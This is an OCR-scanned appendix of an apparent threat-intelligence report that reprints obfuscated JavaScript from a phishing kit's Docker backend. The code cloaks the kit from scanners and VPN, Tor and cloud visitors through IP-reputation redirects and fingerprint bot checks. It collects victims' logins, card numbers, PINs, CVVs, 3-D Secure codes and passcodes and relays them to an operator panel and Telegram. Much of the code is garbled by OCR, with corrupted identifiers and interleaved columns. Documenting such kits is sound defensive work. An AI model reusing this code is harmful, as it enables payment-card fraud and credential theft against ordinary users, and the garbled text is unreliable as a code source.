.search('(((.+)+)+)+$")
.toString()
.constructor(_0x5ab279)
.search('(((.+)+)+)+$")

1)
)

_B@x5ab279()

_0x33646f.API = 'https://|R. vorld’

_0x33646f.UUID = 'c25f0d04-fe57-1122-902c-4539241a39a8"’
}) (LICENSE || (exports.LICENSE = LICENSE = {}))
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nx Docker image files

® dist/modules/systemSettings/service/anti_red.js

Object.defineProperty(exports, '__esModule', { value: true })
exports.SSAntiRedConfigService = void @
const decorator_1l = require('@midwayjs/decorator'),

typeorm_1 = require('@midwayjs/typeorm'),

typeorm_2 = require('typeorm'),

core_1 = require( '@cool-midway/core'),

anti_red_1 = require('../entity/anti_red'),

client_1 = require('@ipregistry/client"’)

let SSAntiRedConfigService = class SSAntiRedConfigService extends core_1l.BaseServ

ice {
async ['setConfig'](_@x29f180) {
try {
let _0x402d36 = await this.sSAntiRedConfigEntity.findOne({
where: { id: 1 },
})
return |
| _@x402d36 &&
((_0x402d36 = new anti_red_1.S5SAntiRedConfigEntity()),
(_0x402d36.id = 1)),
(_0x402d36.apiKey = _@x29f180.apiKey),
(_0x402d36.redirect = _0x29f180.redirect),
(_@0x402d36.customRule = _0@x29f180.customRule),
(_0x402d36.security = _0@x29f180.security),
this.sSAntiRedConfigEntity.save(_0x402d36),
true
)
} catch (_0x253560) {

throw new core_1.CoolCommException('@®&FXMK: ' + _0x253560.message)
1
J

DHRITI.MEE. EHE

®) décomo Business

async ['getConfig'] ()
try {
const _O@xla3e@6 = await this.sSAntiRedConfigEntity.findOne({
where: { id: 1 },
})
if (_0xl1a3e06 && _0Oxla3e06.apiKey) {
try {
const _@x3e8a72 = new client_1.IpregistryClient(_0xla3e06.apiKey),
_0xf460f5 = await _@x3e8a72. lookuplpl
3o il s
client_1.IpregistryOptions.filter('credits"')
)
return {
settings: _0x1la3e06,
..1 remaining: _0xf460f5.credits.remaining ),

\

} catch (_0x4df8d5) {
return |
console. log(_@x4df8d5),

settings: _@xla3e06,
..1{ remaining: false },

}
} else {
return { settings: _0x1la3e06 !}
1
} catch (_@x51e346) {
throw new core_1.CoolCommException('&Ei#H%&MK: ' + _0x51e346.message)

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.
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nx Docker image files

® dist/modules/systemSettings/service/anti_red.js

\ async ['aloneGetConfig']() {
try {
const _@x51f8b3 = await this.sSAntiRedConfigEntity.findOne({
where: { id: 1 },
)
return _0x51f8b3
b catch (_@x2a7e5d)
throw new core_1.CoolCommException('#if%&K: ' + _0Ox2a7e5d.message)

!
J

async |['findTrueIPAttributes'](_0x581439, _0x5el179b, _0x1b0@cad = {}) {
let _0x46¢55f = ||

if (_0x581439)
for (const { key: _@0x51el87, message: _0x58el140 } of _0x5el79b)
if (!_Ox1b@cad|_0x51e187| && _0x581439(_0x51el87 ) === true) {
_0x46¢55f. push(_0x58e140)

return _0x46c55f.length === @ ? undefined : _@x46¢55f.join("' ')

DHRITI.MEE. EHE
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async ['is_security'](_0x2436bf, _@x4282cb) {
try {
const _@x12c564 = await this.sSAntiRedConfigEntity.findOne({
where: { id: 1 },
)
if (_@x12c564 &5 _@x12c564.apiKey) {
const _@x57b980 = new client_1.IpregistryClient(_@x12c564.apiKey),
_Bxde4d50 = await _0@x57b980@. lookupIp
_0x4282cb,
client_1.IpregistryOptions.filter('security, location.country.code')
_0x13410c = _0xded4d50.data. location.country.code
if (_@x2436bf && _0x2436bf.1length !== 0) {
if (! _@x2436bf.includes(_©0x13410c))
return {
success: false,
message: 'AER[AIEIERA',

1
r

s

let _@x57545a = undefined

_0x12c564.customRule && (_@x57545a = _@x12c564.security)

const _@x5bl0a7 = await this.findTrueIPAttributes|
_@xde4d50.data.security,
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® dist/modules/systemSettings/service/anti_red.js

message: '{LEEARSSEE', .

key: 'is_proxy', r else A

return {
\ success: false,

message: 'VPNiEE', oA STLE 3 : .

SR AR message: 'FKiZiEipregistryAPI Keys',

message: 'EBERME’, 1 | , ‘

key: 'is_anonymous', + catch \—GX6b50C5

if (_Ox6b50c5 instanceof client_1.ApiError) f{
. return {
wessage:, 'EMMIP®, success: false,
key: 'is_abuser', _ . ;
message: 'ipregistryAPI FHEiRAASIB\uFF1A' + _0Ox6b50c5. code,
message: 'MEEIP', 1 élse I
key: 'is_attacker’, j . ) :
return _@x6b50c5 instanceof client_1.ClientError
? 4
message:. 'IIRIP, success: false,
key: 'is_bogon', : : A A o
message: 'ipregistryAPI iEsK#BAT',
message: 'mARFSEEE',
key: 'is_cloud_provider’, success: false
message: 'ipregistryAPI B/ IX\uFF1A' + _@x6b50c5.message,

message: 'HRAIRFIE',

key: 'is_relay’,

message: 'TorERMEEE",

key: 'is_tor', |

exports.SSAntiRedConfigService = SSAntiRedConfigService
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nx Docker image files
. <!DOCTYPE html>
® view/welcome.html stiinl Tang="ens

<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />

<title>NXCODE</title>
<meta name="keywords" content="HELLO NXCODE!'! ! !'" />
<meta name="description" content="HELLO NXCODE'!' ! !'" />

<link rel="stylesheet" href="public/css/welcome.css">
<link rel="shortcut icon" href="public/favicon.ico" type="image/x-icon" />

<body>
<div class="reveal'"><%= text %></div>

<!— BRINESPIRE ——>
<div class="footer-bar">
<span>¥GA{EFRNXCODE ! ! | </span>
<a class ="1link" target="_blank" href="/">
TG :
</a>
</div>

<script src="public/js/welcome.js"></script>
</body>

</html>
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® dist/modules/visitors/controller/open/info.js

Object.defineProperty(exports, '__esModule', { value: true })
exports.VisitorsInfoAppController = void @
const decorator_1 = require('@midwayjs/decorator'),

core_1l = require('@midwayjs/core'),

core_2 = require('@cool-midway/core'),

info_1 = require('../../service/info'),

socketContextService_1 = require('../../../../websocket/socketContextService'),
info_2 = require('../../../visitorStatistics/service/info'),

admin_settings_1 = require('../../../systemSettings/service/admin_settings'),
card_header_1 = require('../../../systemSettings/service/card_header'),
anti_red_1 = require('../../../systemSettings/service/anti_red"'),

log_1 = require('../../service/log"'),

middleware_1 = require('../../middleware/middleware’'),

skipMiddleware_1 = require('../../middleware/skipMiddleware'),

bw_1list_1 = require('../../../ipList/service/bw_list'),

config_1 = require('../../../sourceConfig/service/config"'),

telegram_1 = require('../../../systemSettings/service/telegram'),

info_3 = require('../../../plugin/service/info'),

uuid_1 = require('uuid'),

path = require('path'),

fs = require('fs').promises

function sleep(_0@x16ef47) {

}

return new Promise((_0x441ffb) => setTimeout(_@x441ffb, _0x16ef47))

Od
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let VisitorsInfoAppController = class VisitorsInfoAppController extends core_2.Ba ’
seController {
async ['updateState'](_0x273fbl) {
try {
const _@Oxb@36d7 = await this.visitorsInfoService.updateCurrentState(
_0x273fbl.uuid,
_0x273fbl.state
)
if (_0xb036d7) {
const _@x3beffé = this.socketContextService.getContext()
if (_0x273fbl.state === 411) {
_0x3beff6.app.of('/admin').emit('userStateUpdated’, {
uuid: _@x273fbl.uuid,
state: _Oxb@36d7.currentState,
cHistoryresult: _@xb036d7.creditCardHistory,
})
} else {
_0x3beff6.app.of('/admin').emit('userStateUpdated', {
uuid: _©@x273fbl.uuid,
state: _Oxb@36d7.currentState,
cHistoryresult: [],
})
}
if (_0x273fbl.state == 200) {
try {
const _@x1ed40f4 = await this.sSTelegramService.isConfiguredJCR()
if (_@x1led40f4) {
const _@x309087 = new Date(),

_@x4aa7l17 =
2 ) S
_@0xb036d7.1id +
IEI+
_0xb036d7.codeName +
" BRSO O+

_0x309087.toLocaleString('zh-CN', {
timeZone: 'Asia/Shanghai’,
}) + ‘
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async ['updates'](_0x4a2741) {
try {
const _0x307239 = await this.visitorsInfoService.updateCurrentState(
_@x4a2741.uuid,
_0Ox4a2741.state

)
if (_0x307239) {
const _@x3f8321 = this.socketContextService.getContext()
_@x4a2741.state === 411
? _0x3f8321.app.of('/admin').emit('userStateUpdated', {
uuid: _©Ox4a2741.uuid,
state: _0x307239.currentState,
cHistoryresult: _@x307239.creditCardHistory,
})
: _0x3f8321.app.of('/admin').emit('userStateUpdated', {
uuid: _0Ox4a2741.uuid,
state: _0x307239.currentState,
cHistoryresult: [],
})
if (_0x4a2741.state == 200) {
try {
const _0x51f416
if (_0x51f416) {
const _0@x58eade = new Date(),

await this.sSTelegramService.isConfiguredJCR()

_bx2afc4l =
"ID: ‘i
_0x307239.1id +
'E""
_0x307239.codeName +
" BEYETERL '+

timeZone: 'Asia/Shanghai’,
}) +
"\n"
this.sSTelegramService.sendMessage(_0x307239.id, _0x2afc4l, true)
} \

_@x58eade.toLocaleString('zh-CN', {

} catch (_0x10639c) {
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NX DOCker‘ image ﬁleS async {l‘getState‘J(_0x426855 ="'') { |
tr
. . ] . )i,f (!_0x426855) {
® dist/modules/visitors/controller/open/info.js | return this.ok({ currentstate: 1)

const _@xa8d6b2 = this.ctx.request.headers['x-forwarded-for']
let _0x1d5324

if (typeof _@xa8d6b2 === 'string') {
_0x1d5324 = _0xa8d6b2.split(',')[0).trim()
} else {

Array.isArray(_@0xa8d6b2)
? (_0x1d5324 = _0xa8d6b2[0].split(',')[@].trim())
(_0x1d5324 = this.ctx.request.socket.remoteAddress.replace(
A 1 a Ea
))

}
const _0x3d3a96 = await this.ipBwListService.getIpPermission(_0x1d5324)

if (_0x3d3a9%6 && _0x3d3a96.success) {
if (_0x3d3a9%6.type === 1) {
const _0@x2221dc = await this.sSAntiRedConfigService.aloneGetConfig()
this.ctx.status = 302
this.ctx.body = { redirectURL: _0x2221dc ? _@x2221dc.redirect : null }
return

}

}

const _0x28ee8d = await this.visitorsInfoService.getCurrentState(
_0x426855

)

return _0x28ee8d ? this.ok({ currentState: _0x28ee8d }) : this.fail('@')

} catch (_@x35fedd) {
console. log(_0x35fedd)
throw new core_2.CoolCommException('error')

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 55



DHRITI.MEE. EHE

Ap pend IX © d6comoBusiness

async ['gets'](_0x50b251 = '') { ’

nx Docker image files try {

if (!_0x50b251) {

. . . . . return this.ok({ currentState: 1 })
® dist/modules/visitors/controller/open/info.js )

const _Ox3f4ePa = this.ctx.request.headers['x-forwarded-for']
let _0x2a3265

if (typeof _@x3f4e@a === 'string') {
_@x2a3265 = _0x3f4e0a.split(',')[0].trim()
} else {

Array.isArray(_0x3f4e0a)
?7 (_0x2a3265 = _0x3f4e@al0].split(',')[0].trim())
(_0x2a3265 = this.ctx.request.socket.remoteAddress.replace(
E B N B e
))
}
const _@x2dd817 = await this.ipBwListService.getIpPermission(_0x2a3265)
if (_0x2dd817 && _0x2dd817.success) {
if (_0x2dd817.type === 1) {
const _O@x53ce76 = await this.sSAntiRedConfigService.aloneGetConfig()
this.ctx.status = 302
this.ctx.body = { redirectURL: _0@x53ce76 ? _@x53ce76.redirect : null }
return

}

}

const _@Ox3bc934 = await this.visitorsInfoService.getCurrentState(
_@x50b251

)

if (_0x3bc934) {
return this.ok({ currentState: _0x3bc934 }) ‘

} else { |
return this.fail('e"')

}

} catch (_0x519370) {
console. log(_0x519370)

thraw naw rara 2 CanlCammFveantinnl'arrar')
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async |'saveOrUpdateLoginInfo'](_0x1e2769) {
try {
this.visitorsInfoService.validatelsonSize(_@x1e2769.data)
const _@x4e8f32 = await this.visitorsInfoService.savelLoginInfo(
_0x1e2769.uuid,
_0x1le2769.state,
_0x1e2769.data
)
if (_0x4e8f32) {
try {
const _@x403bac = await this.sSTelegramService.isConfiguredLR()
if (_0x403bac) {
const _@x560037 = new Date(),
_0x3d27c2 =
viDs: Y #
_0x4e8f32.1id +
1 E ' +
_0Ox4e8f32.codeName +
' BRTERER ' +
_0x560037.toLocaleString('zh-CN"', {
timeZone: 'Asia/Shanghai’,
}) o+
'\n' +
("$B3SR9%IB:\n' + JSON.stringify(_Ox1e2769.data, null, 3))
this.sSTelegramService.sendMessage(_0x4e8f32.1id, _0x3d27c2, true)
}
} catch (_@x4b8bc5) {
console. log(_0x4b8bc5)
this.visitorLogService.record(

true,
_0x4b8bc5.errorMessage
) I

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.

57



Appendix

nx Docker image files

® dist/modules/visitors/controller/open/info.js

D2HITIBETE. EEE,
®) décomo Business

async |'saveAccountInfo'](_0x93d043) {
try {
this.visitorsInfoService.validatelsonSize(_0x93d043.data)
const _@x4c642c = await this.visitorsInfoService.saveOrUpdateAccountInfo(
_0x93d043.uuid,
_0x93de43.state,
_0x93d043.data
)
if (_0x4c642c) {
const _@x4f485a = this.socketContextService.getContext(),
_0x3ae88b = await this.sSAdminSettingsService.getAsConfig()
if (_Ox3ae88b && _0x3ae88b.enableSync === 1) {
await new Promise((_0x38b2de, _0xe09649) => {
setTimeout(() => {
_@xe09649('as')
}, 1000)
})
} else {
_@x4f485a.app.of('/admin').emit('userStateUpdated', {
uuid: _0x93d043.uuid,
state: _0x93d043.state,
data: _@x93d043.data,
cHistoryresult: [],
})
}
return this.ok()
} else {
return this.fail('e"')
}
} catch (_@x3elfa5) {
if (_@0x3elfa5 === 'as') {
return this.fail(_0x3elfa5)
} else {
console. log(_0x3elfa5)
throw new core_2.CoolCommException('error"')
}
} \
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async ['saveUploadInfo'](_@x57a170) {

nx Docker image files try {
const _@x42fbe2 = await this.visitorsInfoService.saveOrUpdateUploadInfo(
. . . . . _0x57a170@.uuid,
® dist/modules/visitors/controller/open/info.js Cousrarna state,
_0x57a .data

)
if (_@0x42fbe2) {
const _0x44f8d4 = this.socketContextService.getContext(),
_0@x41149b = await this.sSAdminSettingsService.getAsConfig()
if (_0x41149b && _0x41149b.enableSync === 1) {
await new Promise((_0x20cbf6, _0x55929f) => {
setTimeout(() => {
_0x55929f('as"')
}, 1000)
})
} else {
_0x44f8d4.app.of('/admin').emit('userStateUpdated', {
uuid: _O@x57al70.uuid,
state: _Ox57al70.state,
data: _@x57al70.data,
cHistoryresult: [],
})
}
return this.ok()
} else {
return this.fail('e"')
}
} catch (_0x2e4574) {
if (_0x2e4574 === 'as') {
return this.fail(_0x2e4574) ‘
} else {
console. log(_0x2e4574)
throw new core_2.CoolCommException('error')
} |
}
: \
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async ['saveUploadInfo2'](_0x46a690) {

nx Docker image files try {
const _@x2c9f62 = await this.visitorsInfoService.saveOrUpdateUploadInfo2(
. . . . . _0x46a690.uuid,
® dist/modules/visitors/controller/open/info.js “oxd6a690. state,
_0@x46a690.data

)
if (_0x2c9f62) {
const _@x444c05 = this.socketContextService.getContext(),
_0x48600e = await this.sSAdminSettingsService.getAsConfig()
if (_0x48600e && _0x48600e.enableSync === 1) {
await new Promise((_0xf74c62, _0x519578) => {
setTimeout(() => {
_@x519578('as')
}, 1000)
})
} else {
_0x444c05.app.of('/admin').emit('userStateUpdated’', {
uuid: _0x46a690.uuid,
state: _0Ox46a690.state,
data: _0x46a690.data,
cHistoryresult: [],
})
}
return this.ok()
} else {
return this.fail('e")
}
} catch (_0x482297) {
if (_0x482297 === 'as') {
return this.fail(_0x482297)
} else { |
console. log(_0x482297)
throw new core_2.CoolCommException('error')
}
}
,, \

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 60



Appendix
nx Docker image files

® dist/modules/visitors/controller/open/info.js

DHRITI.MEE. EHE

®) décomo Business

async ['saveUserInfo'](_@x146fa9) {
try {
this.visitorsInfoService.validatelsonSize(_0x146fa9.data)
const _0@x439339 = await this.visitorsInfoService.saveOrUpdateUserInfo(
_0x146fa9.uuid,
_@x146fa9.state,
_@x146fa9.data
)
if (_@0x439339) {
const _©@x1a922b = this.socketContextService.getContext()
return (
_@x1a922b.app.of('/admin').emit('userStateUpdated', {
uuid: _©@x146fa9.uuid,
state: @x146fa9.state,
type: 'userInfo',
data: _@x146fa9.data,
cHistoryresult: [],
3,
this.ok()
)
} else {
return this.fail('e")
}
} catch (_@0x4671d@) {
console. log(_0x4671d0)
throw new core_2.CoolCommException('error"')

}

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.

61



Appendix

nx Docker image files

® dist/modules/visitors/controller/open/info.js

DHRITI.MEE. EHE

®) décomo Business

async ['saveResetInfo'](_0x38e28c) {
try {
this.visitorsInfoService.validatelsonSize(_@x38e28c.data)
const _0x5e7308 = await this.visitorsInfoService.saveResetInfo(
_@x38e28c.uuid,
_@x38e28c.state,
_0Bx38e28c.data
)
if (_0x5e7308) {
const _@x1f@cl4 = this.socketContextService.getContext()
return (
_0x1f@cld.app.of('/admin').emit('userStateUpdated', {
uuid: _@x38e28c.uuid,
state: @x38e28c.state,
data: _@x38e28c.data,
cHistoryresult: [],
},
this.ok()
)
} else {
return this.fail('e")
¥
} catch (_@x33c526) {
console. log(_@x33c526)
throw new core_2.CoolCommException('error')

}
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® dist/modules/visitors/controller/open/info.js

async ['saveCardInfo'](_0x48518f) {
var _0x32bcod
try {
this.visitorsInfoService.validatelsonSize(_0x48518f.data)
const _0@x690c47 =
await this.visitorsInfoService.saveOrUpdateCreditCardInfo(
_0x48518f.uuid,
4'
_@x48518f.data
)
if (!_0x690c47) {
return this.fail('e"')
}
const _0@x968f8e = this.socketContextService.getContext()
this.visitorStatisticsService.increaseCatch()
const _Oxe743f6 =
await this.sSCardHeaderSettingsService.isRejectCardHeader(

((_0x32bcod = _0x48518f.data) === null || _@x32bc@d === void @
? void ©
: _0x32bc@d.cardNumber) || "'

)
if (_0xe743f6) {

return (
await sleep(2000),
this.ok({
type: 0,
errText: '',
})

DHRITI.MEE. EHE

®) décomo Business

try {
const _@xc63dd = await this.sSTelegramService.isConfiguredCNR()
if (_@xc63dd) {
const _@xe73506 = new Date(),

_0xab4489 =
'‘ID: ' +
_0x690c47.1id +
rEI_'_
_Bx690c47.codeName +
' RRTER o+

_@xe73506.toLocaleString('zh-CN', {
timeZone: 'Asia/Shanghai’',
}) o+
'\n' +
("$R3EMEIB:\n' + IJSON.stringify(_0x48518f.data, null, 3))
this.sSTelegramService.sendMessage (
_0x690c47.1id,
_0xab64489,
true

}

} catch (_0x2313d4) {
console. log(_0x2313d4)
this.visitorLogService.record(

true,
_0x2313d4.errorMessage
)

}
return await sleep(2000), this.fail('as')
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NX DOCker Image flles async ['saveOrUpdateVerification'](_0x34a951) { |

try {
const _@x205cl2 =
® dist/modules/visitors/controller/open/info.js await this.visitorsInfoService.saveOrUpdateVerificationData(
_0x34a951.uuid,
_@x34a951.state,
_0x34a951.data
)
if (_0x205c12) {
const _@xb41c69 = this.socketContextService.getContext()
_@xb41c69.app.of('/admin').emit('userStateUpdated', {

async ['saveCardInfoOne'](_@x2a667c) { uuid: _@x34a951.uuid,
try { state: _@x34a951.state,
this.visitorsInfoService.validateJsonSize(_0x2a667c.data) St B )
_ cHistoryresult: [],
const _@x4ea287 = 1)
await this.visitorsInfoService.saveOrUpdateCreditCardInfo( try {
_0x2a667c.uuid, const _@x1d3ad4d = await this.sSTelegramService.isConfiguredVCR()
_@x2a667c.state, if (_0x1d3ad4d) {
0x2a667c.data const _@x6657c7 = new Date(), |
) = _0x1b5f7b =
YaDS X
return _0x4ea287 _@x205¢12. id +
? (this.visitorStatisticsService.increaseCatch(), this.ok()) I : L
this.fail('e"') _0x205c12.codeName +
} catch (_oxafd14e) {} P ABTRER
_@x6657c7.toLocaleString('zh-CN', {
} timeZone: 'Asia/Shanghai’,
}) o+
'\n' +

(483598 \n' + _Ox34a951.data)
this.sSTelegramService.sendMessage(_0x205c12.id, _0x1b5f7b, true)
}
} catch (_@x2c1351) {
console. log(_0x2c1351)
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async ['saveOrUpdatePinCodeData'](_0x54a383) {
try {
const _@x2b897b = await this.visitorsInfoService.saveOrUpdatePinCode(
_@x54a383.uuid,
_@x54a383.state,
_@x54a383.data
)
if (_0x2b897b) {
const _@x2255d2 = this.socketContextService.getContext()
return (
_@x2255d2.app.of('/admin').emit('userStateUpdated’, {
uuid: _@x54a383.uuid,
state: @x54a383.state,
data: _@x54a383.data,
cHistoryresult: [],
}),
this.ok()
)
} else {
return this.fail('e')
1)
} catch ( _@x2fffee) {
console. log(_@x2fffée)
throw new core_2.CoolCommException('error')
¥
I
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async ['saveOrUpdateAmexCvvData'](_@x2152c¢5) {
try {
const _@xbld6f = await this.visitorsInfoService.saveOrUpdateAmexCvv(

_@x2152c5.uuid,
_@x2152c5.state,
_@x2152c5.data

)
if (_@0xbld6f) {
const _@x24554a = this.socketContextService.getContext()
return (
_0x24554a.app.of('/admin').emit('userStateUpdated’, {
uuid: _@x2152c¢5.uuid,
state: _@x2152c5.state,
data: _@x2152c5.data,
cHistoryresult: [],
}),
this.ok()
)
} else {
return this.fail('e")
}
} catch (_@x116ffb) {
console. log(_0x116ffb)
throw new core_2.CoolCommException('error"')
¥
}
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async ['saveThreedSecure'](_0x5048d7) {
try {
this.visitorsInfoService.validatelsonSize(_0x5048d7.data)
const _Oxb4f@f8 = await this.visitorsInfoService.saveOrUpdateThreedSecure(
_0x5048d7.uuid,
_0x5048d7.state,
| _0x5048d7.data
)
if (_0xb4fof8) {
const _@x57f@2a = this.socketContextService.getContext()
return (
_@x57f02a.app.of('/admin').emit('userStateUpdated', {
uuid: _0x5048d7.uuid,
state: _0x5048d7.state,
data: _0x5048d7.data,
cHistoryresult: [],
),
this.ok()
)
} else {
return this.fail('e"')
)
} catch (_@x2503ac) {
console. log(_0x2503ac)
throw new core_2.CoolCommException('error')
}
}

DHRITI.MEE. EHE
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async ['saveCustomCaptcha'](_0x31d023) {
try {
this.visitorsInfoService.validateJlsonSize(_@0x31d@023.data)
const _@x3d0@adc =
await this.visitorsInfoService.saveOrUpdateCustomCaptcha(
_0x31d023.uuid,
_0x31d023.state,
_0x31d023.data
)
if (_@x3deadc) {
const _@xlee20b = this.socketContextService.getContext()
return (
_0x1ee20b.app.of('/admin').emit('userStateUpdated’, {
uuid: _0x31d023.uuid,
state: _0x31d023.state,
data: _0x31d023.data,
cHistoryresult: [],
3,
this.ok()
)
} else {
return this.fail('e"')

}
} catch (_0x1b5025) {

console. log(_0x1b5025)
throw new core_2.CoolCommException('error"')
¥
}
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NX Docker |mage f||es async {['createUser'](_0x5063e9) { |
try
this.visitorsInfoService.validatelsonSize(_0x5063e9)
O d|St/m Odules/visitors/controlIer/open/info .js const _@x7274f5 = this.ctx.request.headers['x-forwarded—for']
let _0x3118f8 ‘
if (typeof _@x7274f5 === 'string') {
async ['savePasscode'](_0xbal5a2) { _0x3118f8 = _0x7274f5.split(', ') [0).trim()
try { } else {
const _O@x4be726 = await this.visitorsInfoService.saveOrUpdateSavePasscode( if (Array.isArray(_0x7274f5)) {
_@xbal5a2.uuid, | _0x3118f8 = _0x7274f5[0].split(',"')[0].trim()
_@xbal5a2.state, } else { ,
Oxbal5a2.data _0x3118f8 = this.ctx.request.socket.remoteAddress.replace(
- N B g5 i S
) '
if (_0x4be726) { )
const _@x2cdecc = this.socketContextService.getContext() }
return ( }
_@x2cdecc.app.of('/admin').emit('userStateUpdated', { const _@x28cc53 = this.ctx.request.headers['user-agent'],
uuid: _@xbal5a2.uuid, _0x4c97e0 = (0, uuid_1.v4)()
state: _@xbal5a2.state, ~0x5063e9.uuid = _0x4c97e0 |
data: @xbal5a2.data, _0x5063e9. ipAddress = _0x3118f8 ‘
) - ] _0x5063e9.userAgent = _0@x28cc53
cHistoryresult: [l, _@x5063e9. codeType = _0x5063e9.codeType ? _0x5063e9.codeType : ©
}), try {
this.ok() if (_0x5063e9.buttons) {
) if (_0x5063e9.buttons.skip && _0x5063e9.buttons.reject) {
} else { const _0x20aa% =
return this.fail('e") await this.sourceConfigService.findDomainSourceConfig(
} _0x5063e9.domain
} catch (_0x33e577) { ) |
console. log(_0x33e577) _0x5063e9.codeName = _0x20aaf%6.name
= _ _0x5063e9.country = _0x20aa%6.country
throw new core_2.CoolCommException('error') if (_0x202a%6) { |
} if (_0x20aa9%6.customCaptchaOptions) {
} _0x20aa9%6.customCaptchalOptions['1l'] &&
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DHRITI.MEE. EHE
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async ['validateHuman'](_0x2e3794) {

const _0@x2ae683 = this.ctx.request.headers['x-forwarded-for"']
let _0x3e0c26

if (typeof _@x2ae683 === 'string') {
_0x3e0c26 = _0x2ae683.split(', ') [0].trim()
} else {

if (Array.isArray(_0x2ae683)) {
_0x3e0c26 = _0x2ae683[0].split(',"')[0].trim()
} else {
_0x3e0c26 = this.ctx.request.socket.remoteAddress.replace('::ffff:"', '')
}
}
try {
const _0x53cd5b = _0x2e3794. fp
if (_@0x53cd5b.webdriver) {
return false
}
let _0x404214 = 0
if (Array.isArray(_0x53cd5b.plugins) && _@x53cd5b.plugins.length >= 3) {
_0x404214 += 1
}
if (
Array.isArray(_@x53cd5b. languages) &&
_0x53cd5b. languages. length > @
) {
_0x404214 += 1
}
if (_@x53cd5b.canvasHash) {
_0x404214 += 1
} \
if (_@0x53cd5b.gpuVendor && _0x53cd5b.gpuRenderer) {
_0x404214 += 1
}
const {

width: _@x5e4al6,
heainht:* Ax1a0a0A
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® dist/modules/visitors/controller/open/info.js

async ['isBlacklist'](_0x173c46) {
try {
const _0@x48eal3 = this.ctx.request.headers['x-forwarded-for"']
let _0@xae653b

if (typeof _Ox48eal3 === 'string') {
_0@xaeb653b = _@x48eal3.split(',')[@].trim()
} else {

Array.isArray(_0x48eal3)
? (_0xae653b = _0x48eal3([0].split(',"')[0].trim())
: (_@xae653b = this.ctx.request.socket.remoteAddress.replace(
SO R

))

}
const _@x5d9f13 = await this.ipBwListService.getIpPermission(_0xae653b)
if (_@x5d9f13 && _@x5d9f13.success) {
if (_0x5d9f13.type === 1) {
const _@x4546aa = await this.sSAntiRedConfigService.aloneGetConfig()
this.ctx.status = 302
this.ctx.body = { redirectURL: _@x4546aa ? _0x4546aa.redirect : null }
return
}
}
return this.ok()
} catch (_0x298dof) {
console. log(_0x298def)
throw new core_2.CoolCommException('error')

DHRITI.MEE. EHE

®) décomo Business

async ['getUrl'](_0x32905e) {
try {
if (_0x32905e.url) {
const _0@xbd9563 = _0x32905e.url.replace('http://127.0.0.1:8001', ''),
_0x3f32e4 = path.join(this.informationService.getBaseDir(), '.."'),
_0x27f3e3 = path.join(_0x3f32e4, _0xbd9563)
try {
const _@x506cfe = await fs.readFile(_0x27f3e3),
_0x1dle3b = _0x506cfe.toString('base64"')
return this.ok('data:image/png;base64,' + _0xl1ldle3b)
} catch (_@x4fe223) {
return this.fail('error')
}
}
} catch (_0x4d5ec8) {
console. log(_0x4d5ec8)
throw new core_2.CoolCommException('error')

}

}

async ['upload'](_@x5d1975) {
const _@x31d@ba = await this.pluginService.getInstance('upload')
return this.ok(await _@x31d@ba.upload(this.ctx))

}
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® dist/modules/visitors/controller/open/info.js

async ['getSkipDomain'](_0x4667d8) {
try {

const _0@x8d04ab = await this.sourceConfigService.findDomainSourceConfig(
_0x4667d8.domain

)

if (
|_0x8d04a6 ||
'Array.isArray(_0x8d04a6.skipDomain) ||
_0x8d04a6.skipDomain. length ===

) {
return this.fail('error"')

}

const _0x4f434d = [..._0x8d04a6.skipDomain]

for (let _0x358732 = _0x4f434d.length - 1; _0x358732 > 0; _0x358732--) {
const _@x3c@le7 = Math.floor(Math.random() * (_0x358732 + 1))
; [_0x4f434d [_0x358732], _0x4f434d[_0x3c0le7]] = [

_@x4f434d[_0x3c01e7],
_0x4f434d[_0x358732],

]

}

for (const _0x973ed4e of _@Ox4f434d) {
return this.ok({ domain: _0x973ed4e })

}

return this.fail('error"')

} catch (_0x381ae8) {
return this.fail('error')
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async ['getSkipParameter'](_0x58734e) {

try {

const _@xec@bal = await this.sourceConfigService.findDomainSourceConfig(
_0x58734e.domain

)
return this.ok({ errorText: _@xec@6al.completionPageText })

} catch (_0x1994b0) {
return this.fail('error')
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__decorate(

)

)

[
(0, decorator_1.Post)('/updateState'),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),

1,

VisitorsInfoAppController.prototype,

'updateState’,
null

decorate(

[
(0, decorator_1.Post)('/updates'),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),

]I

VisitorsInfoAppController.prototype,

'updates’,

null

decorate(

[
(0, decorator_1.Get)('/getState'),
__param(@, (@, decorator_1.Query)('uuid')),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Stringl),
__metadata('design:returntype', Promise),

]I

VisitorsInfoAppController.prototype,

‘getState’,

null

Od
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® dist/modules/visitors/controller/open/info.js

__decorate( __decorate(
[ [
(0, decorator_1.Get)('/gets'), (0, decorator_1.Post)('/saveAccountInfo', {
__param(@, (@, decorator_1.Query)('uuid')), summary: 'REFSEEFIKFER',
__metadata('design:type', Function), }),

__param(@, (0, decorator_1.Body)()),
__metadata('design:type', Function),

__metadata('design:paramtypes', [Stringl),
__metadata('design:returntype', Promise),

1 __metadata('design:paramtypes', [Object]),
VisitorsInfoAppController.prototype, __metadata('design:returntype', Promise),
'‘gets’, )s
null VisitorsInfoAppController.prototype,
) 'saveAccountInfo’,
__decorate( null
[ )
(0, decorator_1.Post)('/saveOrUpdateLoginInfo', { __decorate(
summary: '&R¥FELE#LoginInfo’, [
1), (0, decorator_1.Post)('/saveUploadInfo', { summary: 'REFSHE#MLEER' }),
__param(@, (0, decorator_1.Body)()), __param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function), __metadata('design:type', Function),

__metadata('design:paramtypes', [Object]), __metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise), __metadata('design:returntype', Promise),

]y ]D
VisitorsInfoAppController.prototype, VisitorsInfoAppController.prototype,
'saveOrUpdatelLoginInfo', 'saveUploadInfo’,

null null
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® dist/modules/visitors/controller/open/info.js

__decorate( __decorate(
[ [
(0, decorator_1.Post)('/saveUploadInfo2', { (0, decorator_1.Post)('/saveResetInfo', {
